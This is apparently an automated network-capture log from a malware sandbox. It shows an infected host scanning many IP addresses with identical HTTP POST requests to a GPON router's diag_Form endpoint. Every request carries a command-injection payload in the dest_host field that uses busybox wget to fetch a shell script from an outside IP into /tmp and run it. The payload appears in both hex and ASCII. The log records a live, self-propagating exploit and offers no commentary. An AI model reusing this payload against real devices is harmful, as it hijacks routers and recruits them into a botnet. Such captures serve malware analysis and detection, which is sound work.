Mar 21, 2024 05:16:56.531183958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	38336	109.192.41.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531200886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	53336	94.43.231.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531230927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	48324	178.149.38.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531267881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	34318	2.167.48.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531296015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	50088	118.230.10.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531337023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	49242	178.183.177.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531337976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	33700	109.86.179.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531369925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	51010	94.211.34.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531369925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	52786	210.212.17.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531423092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	55034	94.90.239.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531433105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	55934	178.125.41.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531469107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	59246	210.6.111.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531508923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	58606	178.18.73.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531527996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	43442	118.44.124.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531542063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	43982	118.208.87.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531544924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	40692	118.200.22.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531588078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	43304	37.1.250.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531624079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	32798	5.82.119.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531655073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	49930	178.123.240.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531686068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	46400	109.101.50.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531703949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	38768	42.69.220.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531742096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	33104	79.107.130.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531796932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	37176	79.22.49.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531821012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	53276	118.69.136.200	443

Timestamp	Bytes transferred	Direction	Data
